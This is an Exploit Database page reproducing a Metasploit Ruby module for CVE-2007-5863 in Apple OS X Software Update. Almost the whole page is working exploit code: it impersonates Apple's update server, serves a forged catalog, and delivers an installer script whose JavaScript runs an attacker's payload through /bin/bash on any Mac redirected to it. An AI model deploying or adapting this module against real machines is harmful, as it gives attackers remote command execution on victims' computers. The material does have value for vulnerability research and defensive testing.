Apple Mac OSX Software Update – Command Execution (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/16867/

• ##
  # $Id: software_update.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Apple OS X Software Update Command Execution',
  			'Description'=> %q{
  					This module exploits a feature in the Distribution Packages,
  				which are used in the Apple Software Update mechanism. This feature
  				allows for arbitrary command execution through JavaScript. This exploit
  				provides the malicious update server. Requests must be redirected to
  				this server by other means for this exploit to work.
  			},
  			'Author' => [ 'Moritz Jodeit <moritz@jodeit.org>' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2007-5863'],
  					['OSVDB', '40722'],
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Platform'	=> 'osx',
  			'Targets'	=>
  				[
  					[
  						'Automatic',
  						{
  							'Platform' => [ 'unix' ],
  							'Arch' => ARCH_CMD,
  						},
  					],
  				],
  			'DisclosureDate' => 'Dec 17 2007',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
  				OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
  			], self.class)
  	end
  
  	# Encode some characters using character entity references and escape any
  	# quotation characters, by splitting the string into multiple parts.
  	def encode_payload(payload)
  		encoded = payload.gsub(/[&<>"']/) do |s|
  			case s
  			when '&'
  				"&amp;"
  			when '<'
  				"&lt;"
  			when '>'
  				"&gt;"
  			when '"'
  				'"+\'"\'+"'
  			when '\''
  				"&apos;"
  			end
  		end
  		return '"' + encoded + '"'
  	end
  
  	# Generate the initial catalog file with references to the
  	# distribution script, which does the actual exploitation.
  	def generate_catalog(server)
  		languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
  			"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
  		productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
  		distfile = rand_text_alpha(8) + ".dist"
  
  		sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
  		sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
  		sucatalog << '<plist version="1.0">'
  		sucatalog << '<dict>'
  		sucatalog << '<key>Products</key><dict>'
  		sucatalog << "<key>#{productkey}</key><dict>"
  		sucatalog << '<key>Distributions</key><dict>'
  
  		languages.each do |l|
  			sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
  		end
  
  		sucatalog << '</dict></dict></dict></dict></plist>'
  
  		return sucatalog
  	end
  
  	# Generate distribution script, which calls our payload using JavaScript.
  	def generate_dist(payload)
  		func = rand_text_alpha(8)
  
  		dist = '<?xml version="1.0" encoding="UTF-8"?>'
  		dist << "<installer-gui-script minSpecVersion='1'>"
  		dist << '<options allow-external-scripts = "yes"/>'
  		dist << "<choices-outline ui='SoftwareUpdate'>"
  		dist << "<line choice='su'/>"
  		dist << "</choices-outline>"
  		dist << "<choice id='su' visible ='#{func}()'/>"
  		dist << "<script>"
  		dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
  		dist << "</script>"
  		dist << "</installer-gui-script>"
  
  		return dist
  	end
  
  	def on_request_uri(cli, request)
  		date = Time.now
  		server = "swscan.apple.com"
  
  		header = {
  			'Content-Type' => 'text/plain',
  			'Last-Modified' => date,
  			'Date' => date,
  		}
  
  		if request.uri =~ /\.sucatalog$/
  			print_status("Sending initial distribution package to #{cli.peerhost}:#{cli.peerport}")
  			body = generate_catalog(server)
  		elsif request.uri =~ /\.dist$/
  			print_status("Sending distribution script to #{cli.peerhost}:#{cli.peerport}")
  			return if ((p = regenerate_payload(cli)) == nil)
  			body = generate_dist(p.encoded)
  		else
  			return
  		end
  		send_response(cli, body, header)
  		handler(cli)
  	end
  
  end